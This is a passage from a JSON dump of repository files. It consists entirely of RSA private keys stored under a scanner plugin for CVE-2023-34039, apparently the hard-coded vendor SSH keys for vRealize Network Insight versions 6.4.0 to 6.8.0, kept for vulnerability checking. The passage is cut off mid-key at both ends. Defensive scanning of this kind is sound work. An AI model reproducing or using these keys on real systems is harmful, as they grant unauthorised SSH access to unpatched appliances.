0YOEXCNVj6JaelQJjcPZthIgO7L6\nMOMwCQJhBuxW1l8Lp0Jc6sajRkO6S6LiPs5cQFmGfVWul95r0INfSxH5tdC/aEUn\nq7GYpwKBgQC0vEUt3YgG5rip0L551QPwrUX2hYIevQztkJBA7rdveyQelXsIXu6l\nLg14QvjCGnIFgbwLrT+YLM/ey8abc7oIws+3YHiXxQWNwxxcjm0+QIZJWrxxl9tk\nuCgfB7cGTKirYOrshavLbFWr35dYXrDAVCyICu263obpeo9b5xHZ3w==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.4.0/id_rsa_vnera_keypair_6.4.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAzyAJX7j6Tg7ZVtXuzDl4yqFW5FM0X2ukzpI2JXH8UZge57PT\nn++Uukqbp9xvEHBaJmXUADmDyeisno0fCE9Ao2f1lSM9DjAH5BhCaHShgwu51KCN\nm+RVF3WvyfU4dUiGixmCsurPUwJo1ZaZYdZ10B/otNYiX8Tkd7pPd51gAhqRwYyp\ntuOFKHt7ySckbX0vGWoxlcQDwuTt0bXdoI/eMI6WvMrAB8PZ5wbJvk5XWsrExU3A\nrOSfvX6jaUGOfipjS2LbYO+Emu4lnOH8JZJoy+R9l8oSzDASGug3ysZo8j/EeAtQ\nnECNQTZ7WVkrKIQczy5RajdYRExzho8XOohZowIDAQABAoIBAQCmfqEqYh5K6uLI\nS7XmUniHocOgTEX4QiY7qwp9dTAXQsntBP+jO8n5KgoPmEFrHHVLEmWlPJZ0kmVY\nGiaM3nAeKm4d0TK+Gdvt/ZY8Myy1k5JwmhLa8mN4NTD2jfkxRfhpDjuiqN+5YWF1\n99YZ8HPJtiywWMVO6I2itJA2nbnUVaZZJ1R1DRoEF5SnEoy6vAECgcvQiGxT9Owb\nhARbXDdp+Ww0wnnW4HoWiF7oXOdvZR9nLyJmB5BJH1wrEc5kDyoRy5DiwNszxjbt\nvpWgNNfuUqRTmKQKFqgNxy6ivBqdx3ggmO5ZQNKl+uBK8Wx6y+9BSK58ljmZ852f\n0gVA6mLhAoGBAPTNbHUJ4ndK9+SOJYNITEHt8WxKE+R6lnKkfGb3MACh1oJnKOye\nVEygvwSXtIFsYHPJoY3D/y7IuA9dmXPbNPObgNia+2UsYScIXBlZu3FOReprl0/e\nvkoZ7ECMJRiZnfnTbSWxEd/KCGmDNt3YaTBKc4SHLwLXrJKy+oI74ilTAoGBANiZ\na85QlGvOlnnLMJKVxCE3fXadau3p4HQW54szXDoSDkyvA2e/00XEkyv/SLzNPLng\nnhgNBEIc2msAKgnN2uruqefDUPFvJ/pZCT/RDTZE2oNM8jmbIwTRTWN1uQuu1UhZ\n+0Fakwo/a5RAA0W+5fhpzwgCo8WGm1xrVmU7S/RxAoGBALVEp1rCxv6udIC5AO4F\nSvJGzs3wzGoSm/Sn97YGs3TEYaKN4K/VTXawUMGF1BNBvOoAE7B1wS9TUXePR2GS\nn9MDApVhrWVtR0Mv3YKn/zQXUY4TvSdXOHCGYXoqTA27Mk8bT2bphuK/Jxt6HdaH\nuNwZRRCNSTJBoXe/L9/fl8ghAoGAYd/B1TKYPrbVTCfCxRojzBa0/NpZLTSXlh2b\nd004CY2LJJ+Y3FLT9xzCnAj5J0def2e+SIPpPq6nC97BIDkDCVHbOL0LYG2oFPoS\nseGXJMSsMNSeR+WQR2cEn0Lc4SiZe94dKQTymJjb1duvHt8KL9wwDyCSPHl8zqA6\nI/hNdCECgYEA1c6IkhoNqmYbiKwOZi8K95WBV2FJIc9/Q01ccE7H2oJHXXckbLmD\n7R8Zk22VDt/EJd6pftojv99muybXRq7oqEOS9CCvn5ET4OH7KRu6mXL4cOqoonqp\nIIIIOAYovhDMMaq7AdAVF3fUxbv9JCfUzwf3eXVw+i1ranfsBB87Xk4=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.4.0/id_rsa_vnera_keypair_6.4.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA4VByn2KlKBikQkGqfcUyMGL8Kqgy34CcheX/rCG++bd5bRrj\nK3yy1fYj6AIYaUy8vegcfS0i8BB9Nk1hB0kfi6kFQD/Qk57XBUu0qlpWbGdNDQNI\nxlEQWJ0dFyhnaqRjBJMCWr1L0zsWw25OzsH0/7gqv9o2ZMuxpJhbgGnU4jgDt4mi\np4fHzYmSkj45gmvu4eWG53BvfDStkQtSF6KwndA6LniCcCW8RVN5/Z9Zpng4/ac/\nNbmjltTt3grSyKDgRadKbnjGeJtrblwQjnRs+qMNDkUSd9hkK+06Bpk6Whl9MQlW\n6O6T0xWxAke2hPgBOaKJLQOGhvec7FEfpMHzHwIDAQABAoIBAQC+VTkezzP5NSe9\nGL+vUx/cpCGk30VqbLjMm8hpXnB3frhCpI32tHZWLIGUggChI0PloOhADhsPdL5x\nWth2UR0m23cmGUJXEb1OKe/KYFnVZUY/keCuNth6Iu7qGyWRfqBuwskgYfxlyeqm\n2M4V9t7CDo9+VhXQ/Alqo5HYXo6JMXZ0jPkOpWJQqTKvNfzqf2WchW+Ynit3333l\naDTDxh23RACfqJJ7K4YypjeBKyjetPlOnFVVeuUKtaBZt5o+FIQITfDS02H1wfm9\ni6g9KfYLMXkBl0hZVUWemzrdf6VoijzalvJarIdEb04iT5gz8+9p0O4YnMqGMx1Q\njUZl/nJxAoGBAPcPhWLqAlD0pAJILxNMkS0KplhXL8O8Z8eu0A1uJdGRu/KOA37k\n8VXws96Sqvqo54D34QiLvBVBecHfQpnx+GzNJhA5IboPyMhh6UTeSxbsZyOUHrQ9\no1SBwGYLb+WBuZUfOVFitJsS53MW+zBvPMIRzgJO5AnvK9pxFE6B8jwNAoGBAOl3\nfmt3uRVX0lI0P67vDtVa3NX0vq/PGgw2o7nfxVCgoB0H8sn76aiVgc8B2HD13L04\n03wn8N/P5FiHSTwh4Ske1+o8RnZ410ziml6qkxo7luw/J3WrNCtAtFg8jaIo05hm\nzf3qL7c2nrT0az51ooUXfwlj0gcP3gSW1z1FAeTbAoGBAImesbRpmaSywXEr+F0N\nt4iZeBOZbVfg6QZIEEiK5LIaNdFk3fmfWfd/PxJqLKe30kz6xvVVsQ0+Da66yISs\nTq98jwlWab0U8cj9EU11bep1APbGmVvZQdPe+udc05XKby/r1qfJDcWcACUR1hYi\nwHtyI4kRnOETwx/JAYDBzcc5AoGBAIJoU741trV8Q6fVNYlCURfN1DLSrbzIQvV1\ng8isfKvHvQfaS7yVMPQQ5tw5XKvkOXOcjUz5hmuN1S+6CadECWANsW9OUdGVODXj\nEXU1dEuf43J86E6q3c4XK2VqFXbxtReYvRFKwXJmWQocyNavoKMU98nH7yYwr8QC\neaHorOEnAoGASemK5UxnkcF5c66dGvaZY+jQvWAJzNCiEX9gVCUdWG/1+g0fmDFv\niCAnobPnQntSzPS3DtzK+KvKaglhgaDqhI/+Km4SO1wl3vLJnKeHFK3qQKg+e1nG\nZHl4Uu3TE3M5Tk+rtwyrll+JvI6Dh8XtR4tNf9nv9SA9OHONrfsqhKk=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.5.0/id_rsa_vnera_keypair_6.5.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAtW06onhEdfVRHvRVOUa/Z+Yw2/s5SVcdbqs8LgDYFUM18L+F\nog/JBqrN0nsVG/Ja5qjh3uEzI7vf8Uww1ocacQKyGts+NvSfxrkrtM/gkRmss677\nKaF8EXf2fC6vnyWGm6Kc9xWx0Fcx911C7BUVTcUHUuhYbpdNjimGE0FdPSCM01go\ntd3KQpiOtdSa/jV4Q6tfkit11W3nZvyMH7ZMLYvkOwXbjkWwVoaPX85YY1+4wdXb\nN/TJbVylfW7njCs4sKjp9O6Sn8tOG00NhPUWwqXaTSsjdZdJGwQieZPEFXXNVLZ6\nnzHyY/NiChebph6xAQ6n3YgqQ6eZmFmDp+ZGIQIDAQABAoIBACFAv/p/aKzmJdQy\nnFw/J133xwTK6xkSKobaQ9F6viBHjV9u+yNVGVdrfwYRITFaHmcglSWwyRrHmKg1\nes4XPTVxdQuPG7we4hoeXnBpmZN+zTSx4b8jpgXdowPn2rCkxCNKjtKK22iAUtwv\n79AtnRYAAvOjOnIqsUBZRAXLeTd2rLhhhcI5ycOtjlt6ftbwHliemzHT6vcCOVWn\n00EGW177zmWqYFhxXa+1qhW8UU/rqce+mSkZVF9dTzJvciQdiWHa2rtDZRy+DpZU\nNa32cYLUyzOlcsu1MR2gFbp7mHwuNPkZgXJZe6sZN5Oq/qa6FYSVJTpM0KHLxDcg\nm/5OpnECgYEA5AwFoNkYevYVPqfkOe5O01Wgbwb3T44IOdI2LvP70OsoBkVLXNfi\nNmGYfJj6U49gLThSiShKUK4BgkDZo0/W0Ekt4Hh3/czS0fctxaidbv1xmMQv917h\nSZ7jzUgXlFUtBOXVx2wY3BzFAm5pc7vi6PC31lq0Zzj1TqH/aD5nUSsCgYEAy6pK\nTSG/AGnEe+9m6OrBRzn6fZ6+k1WF5P62qK64bVXYHbGvHTa8WELGeuCbbzZwYJWy\nBGgZsGZSN53LeNfUP3+D+cFiMvTU82UbW+7Wr6vWGUniOkzt0WQPjXzQ8fN2Bmxa\nS3StNIdapTyovGFlCU6ZRfjEWtAfXhTabJdjZ+MCgYBuJFRPlKsbMGGgamxzgmL1\n9WRQW5f1B493hcz/rn2QMROau7sjc21hgI+qliRJWXVFQe+zKQ+DmhdGdtXm57fD\nz6RlxymFHnkwSecEkWTAZ46HDzJvkpbS/PfffRNOZDkjJXK0J8R2Azsv6m3qJPP6\nN9FCqXp6ZGsueFWoXoN+EwKBgCJbqA07FC3Nqgf+ay3/7HtHnKp0jVHtq5jmH4p1\nb0eCo+Lehtw2z69UFIfGPHKWjH6+wjlcFnlbyaL4S8snHfdYW7tWlGpkQ0iMVgE8\nWZtpMcUyYafUMoqQhs8nr1gh6ldLEDCKjm2+J9yYTx74j0Lyr4jOXtGzKpeEjRSk\ntXBhAoGAXsyi40pUtTOMKCbTnKUQjoKpZl+HYCMkwHBjI4Xo/BxPet/7nDbg5/ya\nk3YsDpC4letKf05qsRMNpvN41cFuFnM2U8PZRU/xiRr8gV/Yb4xZr+GDsn0OCvGs\nAlWOj13G9ojoWNXmv9l4z2/aw5/BJxJpIMoFQk73Z9TjNQXqH8o=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.5.0/id_rsa_vnera_keypair_6.5.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAuW9ejickS1Uy7/rABgmdLVM7m2KCFfetbgDyWfAYEnrSByI5\nT3u+NCCC+M82vtEBDgakg6SceQdXvKKfZNCj1CZDBmAQdmXfZxGJJmQD0lrQpxG5\nGBln430DgavKHz1D1lMNU3jK+jiL5QqNOzJEHxF5Dm0RJF2QzMR0tJSfsauVVMHS\nBRPp0FvBUnI6GV4le9ZhvmUjLgX1UC4VTouTl//tagMmvwi34ooVgSYSeDJjVZVV\noIc59XryTXNcHZCJ2EGB0KwSn5pHfyABUFu2JHE9m9Wnzmc5sJ5dTp2NSUICJhxJ\nJc36rlTnJxMb5brMci2tNgg/pBWPfwEM2gLXOwIDAQABAoIBAAwKFgqGsg2OD4uT\nLSp3L1RFBia1g5qnhQQSXanHM9jnToGWEEB/2T6LKdW7pmNHMJlXhxDg/CPDfUfL\nCyxBe5GHlmxwikEVpiaL9eqfLbxXlxpxxSGybJNRh4vAupPCp4ffxoq32f3a9AI/\n6CGCxvd5a/Gq1SUWShNxYd5jk+a2D7yHowrB/lI95y/PXLVTUGaE46VXYUXs+yX+\nMB1TvsommZnh6lYbQEZp4CAOafUpv17Q+BlSNSTSA+PpIfxG1Y5tRzta0yqtfQxw\nG/1eu6TMMhvfarZzz1NpNxGE6Xmavpy0kfhjD3Cfi08QTi/B6te+dLwcqtw4S+m/\n+AaP7UECgYEA8onefdZ4Xu+I6TMprvLSFg4JVwNJK5SoFLHUUy0bVOOSh3iTPvet\nZSQtf2GazdY4Q4lJG0AZg//GiBlDmLvn8eeMZ5z+XJ3JcxcCwRMV17jG5GECc5+N\nHKnOhyJvhiGGbgIOTWjM6fhL2xuw877lbXGW8FmQFLxAoieDYM8B+uECgYEAw7oj\nynEWVWC4STBG4091J3HQhYNGaAc2OXus9Zm3O2bpeO0S/4rbJlzECXZzBV13p8vL\nyCq+TaIBn5MBJFeP0NcWWUa/TstyoOkJjSkx1U3F+D2PmpdEIvg4MXVH5idrL5Qw\nt8FGJQFsJF/gqvIQHZ+0uyR2Td4yLJJmKUYHEZsCgYAVncYPrxrBU1X/esjfR9MD\nljKs56UQ1kn4tjS3SRDjivjXTB7LgOWaWxQXA0r5x3ryQf0bCaZ8hkJahO3qYez1\nOW7hGTPuaz22HTnonVvYAybu2dqPFYxNHrFCiAYqjThe+53stkd1HuUb3SbzQnNO\nQs5yE3ls765PBXiHG0wQ4QKBgG2KEVnNLJifxsN/N00kPQbUVcVDEPZLgvds1gGm\nA7xE/kllNQq7Zab0p+o71mecRcks72GZOmQsVQg/t5XlQ2G33pQcWhj5F7Aie+v6\nsB8WpcMmgOYd3k5L6PcVEiYmzYAVSaatjlpLj4BUAGLrkkViCj3qTCOMRTxYusBC\nptYdAoGACulLl/aKlyZlYSS5fjvYO2tEF7ZnaFqE9OU7kTDrH16WhNSkyeHemAL+\n12C27iePKAwx6UBmBn/CK9r4hP9eUF4P0OwAP4pBa5gEgPW7IeD0gS97qNbnvk6n\nhjzBmlRcpQ2aoWnG8dPNKY1LTkG6jN0F9y80AtfYg3DE4uxB054=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.6.0/id_rsa_vnera_keypair_6.6.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwyCSg+dXntVddVgHAvcuDbH+VsOuUztZqhiaeQtbQAXjpvxP\ncfznbIEyrgLSF6fG//Eii7OKFXcg3lhBXATEVYC9qkR1j+HQI0WgcTo6Pxb5sB5L\nTXeJFX9uFtq+rtOP7IiPEyFgQQ0AmbjrLVQ5D56nuOeOg2wduLpiYlBs3fo6J3gD\n00ZqpJHovX6aPy7SkEY1KDeQdUWqU/4pIb+tkZ0xGcsAI87foZWFeeIAGF6ExPg2\n5JTYKCRhvOMqccOmtH3FCVKDS68FwBWbgl1xRs6cxIB0r16ggwVh+Sdfy79w1AkM\n1WwQ+7ReE89LGm4ZILZXjaXAGyepcay39OmIwwIDAQABAoIBADzqslMTqjsgCWlU\n7ftzB6Gm6+xSct3xLXD49WDMttQqAoRjSLohZm5td1Dz+HsCGhJVSZ+rkXRaGJzR\nmLYNlu3Kn2vEq58btEsOtaQjtYN0vMbK7l9k7hsUCV6BM/6Ideo2R9SFGvO0B3f2\nTxV7scS6l0oWoFtPKYg+R/DBgvtZU6TqDxuJdSQo4nYDo/SWe5w2OgGw1OxWMzOU\n233qH8z8lPAYusIrGuw5vgywF+8wXvgDHEZIB/VOTT6Z9wlFQS2Nk4oaW77iampo\nEQ1FiCn/CiHsQqpdfHyVq3Kfq2F6XcwPvyhF2n7a5vh7KDjvZyQVinkeKdukrD9p\n0mGj1WECgYEA5yyRMDLjN5wTy0Pr1KUJrjMuuANeCTTk98vc3zsqN9TN/JRGwTXx\n1cWh0BkTf3XKW97ozb7h3T4AJO5t99K1sXGRtXPo2QI9pAD/WeMXXwvQtUY2+bhc\nYzcGsSZedLUWXxpmns9CcYn40iYJ7woqcXU9w6XlyUvHEAY2P62V638CgYEA2BUB\ngKAhU5hB+UDXdt9VCU20KgOIHbvb+TqA5MRuJmvTVcuqDAsRk4CBHkAMQUg8mOc8\nQD1rIckuXZPCpyUIHyrQa5PWZfRiACQN9Hrn6UveRZK6IguTsiKT1gGKoecXlhLz\n0avPzO4JWYmL5QvQiqXbZGz41RrE8tslXkKLVL0CgYEAp4+vQT9xYKp50njN5Jkn\nliO1Nl4CeCvl1xLmaswIwuU11WFok71VKD0TF7JFZrrrTYIaPp+gOWwqUJqeDOan\nGhIWqm50lW9BXLH4ZJ/tHdCDnBFj4cfW93c4G4mTJ4bmy1Jola3nHEMEntZBlwlI\nUGrJtRl3oFuT0zKdebSJmWMCgYAhJU++sFGMZi2wk1650FZWAAJj83i8vuVmXLAK\n54rR//ZCEeS6xjPjAXJM9pwqo28QMWBPplw5qYegORtB0m9lgIbKCbp4lz01MlKl\nrvjGE6o7198Pe+EjESTGTiQ645z9m1ilUAqnL9hlULER6HcL3ZdC12hwIBQYAL/B\nrsl6rQKBgQCoJQTOM/hqwj3YGuLhrdxYl84gU2qAmedB2SasPCFP15liesotBG7r\nOrAwcjvt8W38ZtIsTXqeN6jEd4+S3jSeL4mGU5tZFTnX7zDbjOUDUdaAli1yA+t3\nN1uRUWYGWLk2ZdAxX5TCPEINXHOuCNJO+aSGZwUcoVoDinZAdq+Xzg==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.6.0/id_rsa_vnera_keypair_6.6.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwyCSg+dXntVddVgHAvcuDbH+VsOuUztZqhiaeQtbQAXjpvxP\ncfznbIEyrgLSF6fG//Eii7OKFXcg3lhBXATEVYC9qkR1j+HQI0WgcTo6Pxb5sB5L\nTXeJFX9uFtq+rtOP7IiPEyFgQQ0AmbjrLVQ5D56nuOeOg2wduLpiYlBs3fo6J3gD\n00ZqpJHovX6aPy7SkEY1KDeQdUWqU/4pIb+tkZ0xGcsAI87foZWFeeIAGF6ExPg2\n5JTYKCRhvOMqccOmtH3FCVKDS68FwBWbgl1xRs6cxIB0r16ggwVh+Sdfy79w1AkM\n1WwQ+7ReE89LGm4ZILZXjaXAGyepcay39OmIwwIDAQABAoIBADzqslMTqjsgCWlU\n7ftzB6Gm6+xSct3xLXD49WDMttQqAoRjSLohZm5td1Dz+HsCGhJVSZ+rkXRaGJzR\nmLYNlu3Kn2vEq58btEsOtaQjtYN0vMbK7l9k7hsUCV6BM/6Ideo2R9SFGvO0B3f2\nTxV7scS6l0oWoFtPKYg+R/DBgvtZU6TqDxuJdSQo4nYDo/SWe5w2OgGw1OxWMzOU\n233qH8z8lPAYusIrGuw5vgywF+8wXvgDHEZIB/VOTT6Z9wlFQS2Nk4oaW77iampo\nEQ1FiCn/CiHsQqpdfHyVq3Kfq2F6XcwPvyhF2n7a5vh7KDjvZyQVinkeKdukrD9p\n0mGj1WECgYEA5yyRMDLjN5wTy0Pr1KUJrjMuuANeCTTk98vc3zsqN9TN/JRGwTXx\n1cWh0BkTf3XKW97ozb7h3T4AJO5t99K1sXGRtXPo2QI9pAD/WeMXXwvQtUY2+bhc\nYzcGsSZedLUWXxpmns9CcYn40iYJ7woqcXU9w6XlyUvHEAY2P62V638CgYEA2BUB\ngKAhU5hB+UDXdt9VCU20KgOIHbvb+TqA5MRuJmvTVcuqDAsRk4CBHkAMQUg8mOc8\nQD1rIckuXZPCpyUIHyrQa5PWZfRiACQN9Hrn6UveRZK6IguTsiKT1gGKoecXlhLz\n0avPzO4JWYmL5QvQiqXbZGz41RrE8tslXkKLVL0CgYEAp4+vQT9xYKp50njN5Jkn\nliO1Nl4CeCvl1xLmaswIwuU11WFok71VKD0TF7JFZrrrTYIaPp+gOWwqUJqeDOan\nGhIWqm50lW9BXLH4ZJ/tHdCDnBFj4cfW93c4G4mTJ4bmy1Jola3nHEMEntZBlwlI\nUGrJtRl3oFuT0zKdebSJmWMCgYAhJU++sFGMZi2wk1650FZWAAJj83i8vuVmXLAK\n54rR//ZCEeS6xjPjAXJM9pwqo28QMWBPplw5qYegORtB0m9lgIbKCbp4lz01MlKl\nrvjGE6o7198Pe+EjESTGTiQ645z9m1ilUAqnL9hlULER6HcL3ZdC12hwIBQYAL/B\nrsl6rQKBgQCoJQTOM/hqwj3YGuLhrdxYl84gU2qAmedB2SasPCFP15liesotBG7r\nOrAwcjvt8W38ZtIsTXqeN6jEd4+S3jSeL4mGU5tZFTnX7zDbjOUDUdaAli1yA+t3\nN1uRUWYGWLk2ZdAxX5TCPEINXHOuCNJO+aSGZwUcoVoDinZAdq+Xzg==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.7.0/id_rsa_vnera_keypair_6.7.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAyfqMG/j7J3dX3bXLD7b+K7Oma9viSjjpR1SqgDI3SghskVBw\n5hg0vnTyzwou0RgdnmLGpBtgSvWlewbweWvbCJw/WbOvS6NOKkBP2OCkaEUufakA\nRrzP4dK9qBYAaUyc42NbyVTUX62NvufdL6ruBON/v4U0YXqfyW7GyqVwzuWWCaWI\nNnsyznrvqo8fWEvSHxNOlDmrkfIjhKcPmC8i9z5IrFOZcXGcnEPT8ps+UzfY8+Sl\nbyEJ5q541pyieYGYlvortqyhl/szzH2PSdTh9G5yK+sU2aWRGAa4HXD3BWLMpk4o\nsdnfhLynlC9TSHSf8rZHvm6v5WIpTnNCUGwkgwIDAQABAoIBACLSioNsGskEH2b/\nJ8JO12VrdL7Vyx7mzvlYVIkDn1qpNyaaisxw0e8gNJiTddzg3oJnHz495g0mauBa\nIu2cNcg3QAjUHN3aiuhn7BxFJrM/cjOCBqUrel/BuKcZG/sLlWTyxWlhsbfJMU3/\npbfJLX40RtsbORuxS4ksCyP3AAr7Zb787AAq/dwepjT7XUU8IsyIx1PG7UP1AusW\nQ9BEer8LIprWmoCP+k6X7eEsK/jhfdDYHrn8c63/FQW5nODrodGE6bxpc0mUjUcx\nG5K+ddWPeTRPAZ3OtBC6B0ZkRz3NUX+7maT/AV0HdRsKTC7BFGQPNmyf4CRZWh14\nGLfvmbkCgYEA6sPVfyqSacVINLwnqQF1iFcZGB+Ilut1z9/fELWXb0uPXNbOZMVj\nKET9Q08sAi7Qr9i4sAnpsw9p0Lo64VNeu6W6KPItQXYtvyHF/r+qmbnYWqMXHtjW\nscimxUIWCsoXb+4DlCMrqQXo3JoJ3Q1pqKOmPTdBz+QcXrsdZqVILW8CgYEA3D+F\nhGN0pUIZxw+g+3rlyOTIqk97vtQn15KJzgZcdCyag+4kxTgcQWU0SvdauiiVgDEJ\nfAryeEuA2wZ1UPxBNN7KcELIYf087kWoncweWf3Ket39ibrtU3ZMFBuNXYOgBiti\n0IoLNhBsp97QIYm/MrwS6FeuAHeZKHg7o8vCWC0CgYAkWSveI5ZFwCDc4WD2nt42\nvN2KyZ8ZVt2H0O61pJgMyFMrGasdGR6wJnZcDI8Qy3TONSzrPK2tZq6Ifb0OFB1v\nykoXet+c6hJNLIp+VeixIoAoEGZNBV/AaQPBOOk2xHF6iAyPzB4/bkXOmh761c/N\nJ4FeqwaKjJQD6s6zjNWvCwKBgBCDqs08b9icVjZ404dHtccUcH9kqlCqs7oUQMTz\n8Sa82XEfAB7RkDzPC9a7KVBgDqWoB6AHahre/nBt0YobAACo2+EDAOdoB5OOIZCD\nZ5szzmTcFFCpdXYWnqm7TyQ95FfSFPyx/Rk2rg8AQ/bfzzhMpdZKDL/4N8GzEjW7\n53yZAoGAOyiHzq8GIV4GSJyKewcxOlulTf3IY4Tf/6EJNsqeDnEebH7BBRXIKWBw\nuGC5uzEPN+GHSNN2wlZROH8xlPGTpL5FIGfGDfj2fIkSHyPThBeVSvbMSXwEdL+4\nNBC6ut7g/Hlu/+PqB+yQgHrUnlU4YkrlHlfcR60qvasZrAMNsvM=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.7.0/id_rsa_vnera_keypair_6.7.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEA4Iv5cXgnFvDdiktZe7zAc9mmBKS8WeodaZteHKh1khyHFm7d\noRNnCWV9h2yY+4Wktp+BEF3RmJdOd5POJZyDZoKckMNKmMevk3hKS09Jz/IhYmAH\nI1mJ1Hx91wN+2UBIps/21ujsVDDU5pxPdOaL2ljzbnlh2huSW5yELuNZMbZssmdm\nCgk9xEfZkyK0DWaCsJZVZPAzBc2FRzBBqa1GmnANXbkjDelIo3WMsBcHG08MolXx\nGBALm9s1xlLCynlW9bFN9RO5dOzkjqXLHVzb/2wdB4AOTdy9+IaVyH6sv/ReTdLP\nO+yeXZAWtBdLHX7MJwk84Sd6jzC2juDblX3o6wIDAQABAoIBADfsZImQBRw/jM1e\nisC4d63irOhHJum11vFwUnYMtotXM4Wwwt3U+Tpr3mGV+FvcIvOgsgIje4nnVRGO\n7C6N1mP3b4rWOIPoZ5/wu4AaFSYHBa18gQqayCr1flnIcxUkX3O8I5vOkt089Ckj\nEN7qdDZDJQ2EiYxKhZ7vUjRjRtmMP/dDZcNIORn3jAZoazoA6XWhys3CpTK/ff5g\n6iDRJ0uamUMMGeFwm7d4seeH9dSgagugBpnsQRG5i6XJcRvR/mYbheTEj+1p8AXv\nB665aTZaFooXOUFxKJ3gy5nwIPrqDb129EdRWY3wxtBx5lubbTTr+sn/oNbBhcZy\nTw+3wXECgYEA9xWz4dI9mOXrgaPP6bMugYAXZ2mEHqftj42/7nd/kxXA5uJIYb2R\ni7XI+ACtI3CnNlEH6R55j8dR9ep6JOHbzVzC36JthpTLhrZr51Kq4/ckLZdazIUe\n1QzzC1WM26/u3ERQBwoRowMIxOMstTHhM20b8cPFGkdqp3cHU2gg7a8CgYEA6KYX\nKKRc4AbpCEJRanun164bnAXQWatwVp/T4Z04RU7jdbGXw2QxAskHbzIxHzoBurZn\nr+x+YIIm+yv54o4RaPjru7RzHpyYe311v1BXEDipmn0iygILxBvElAlMjUoxukHm\nofO4Rj3qRqk5RvETv+6DfcaMldIanuNGQ3q0o4UCgYBWstLPpkne4K5mauiFhE4J\nOrz7mFa3uwzsljyGnH+zSKrLWRM02KO9difyfapDCUBjGsO/1OWqwbHMrF33mxjZ\nUnc+qWvtEUDpIBF0tdko7ItRRA6kPQG4mDaf/4DRhUY3G/FIxwuxO1tUWrJRUhNH\nTD3F83+x3OVbpbR4W81SGQKBgBuoOxKSz5O2XpejwqgFAUQLp66ZplYyok05/OdS\nWHEs2q+QKDmLPKRXH7IhZmOO8suuiY8Jb1CryFSNuswrFXjENsn+vrzB4wKzPH88\n3szH36nE/JDFQ37RykHLBTW6v0SkNvXD0oFPNP2nem6rlCx5/1nBc88PxihjXmQB\nP149AoGAaWRGqZyaMOl7e0OECQY2aQwrhLN0vpg2KXcH9lkGfyVy4TlqC9m+zDvh\nBP/02NwZgxg+NGOS+L+C5G9byifa8e94GEq6XvX59ai8N9hgWimvET/9Hujuz3O6\nLfzJVu6PpgXAKAjt4yzA1oFZnJIl26DmZbisgQQptixmd2wvJew=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.8.0/id_rsa_vnera_keypair_6.8.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEAwOk7AhHKSloJQjIQg4YB0XIK6Q7Yggu9lCg1PWnjLqJQDywP\n7X0DMElimJRG2FRqCh8QomQjDUydeVoY4jIxnkrQw9PAGPHNCgDkBIvP8W7pBKbA\nMQjRIHbKHdnlrjLyQfUr6g9suLfHDSyavHNxxJX5vZbKvRQmTXBq/rqpO+4C2uHV\nGhFi+Ka3TZ2lYFtjWOmbxHiwvoahwfxj/ifb+XI6vdAR4v6JIMvJxEmO1rylJo0a\nNL29/0rvtU6v7mYk6bcCNr3tv0GbBsBu6cdv8lueWq/9r4uGV4Y+tZ9vErQJBR6R\ngcdzqKla4zF8huk0P/uDqGEeoYsXwi2XXG0mFQIDAQABAoIBAQC6RHllliftguJN\nuGmZlVtMEQHX5y3G4+85j1lY41UpQjBrdfArL/pUNYeuK/38BAYfn79ADdCKlt+2\nvPgp8K1YWoUZkOx7KX8BmbqRaS5vwNfeVeRddFX5MroV+L99ZFPmvASbDCm+cjUQ\n03DVZeMEHov2NBOuXjZdr56gNzwRUCHim+sUcxWD1033AYmuJ1o9iQ2YFc7bACiB\n9qYvfV19hxZZ5qzQaC1R1tSqKlXY69slKEc67V1vT6aUyl1+oqtt9EY8Sw4E/TTy\nntkY/AHDuUCIVQrcfpio6UV+Vo1eX0U7F9F7Pc+U/2zNemyyq+4PXAKtc/LjtouR\nFXEnaygBAoGBAO4l6EEeV9kpH2Rj5mY3ECbjyfwTOyMlA39OudVZklRk8H7aoadA\net+Gtv8/rE5rJkz2EU2PyVjuGtKN1ZEMnDOlM+nbPDWnP+1ieYVmB2HY9Kv3y+CQ\ntYaZuBC6EfJifgIxQJYEB2Ma+vthKhiHpJEe5FzNB1MLM5VXJlKQxeI1AoGBAM9f\nOAzUUA5IACoC9jl3aqj8pqqgdkqq3QcgWLnbQ9rXWjvqcWIP4n+eE9vL4lEKz86C\nKB7WEJUb4UBInDGudW5zDYgkB4kJRJEpeOZPsCc3AMncK01FonRZ7AaY27Iy2Jv7\n8iBwSiadSN86q05TL4hqYwFGtUE7bN9m0SWb9rBhAoGBAKwW3HRh9t1IKBUlU5K9\na4COzqDHTM6iqppOS19usJ0nq9ofJv1zTNdFw+tDGcI5D55BmlNP+hG3Tc6l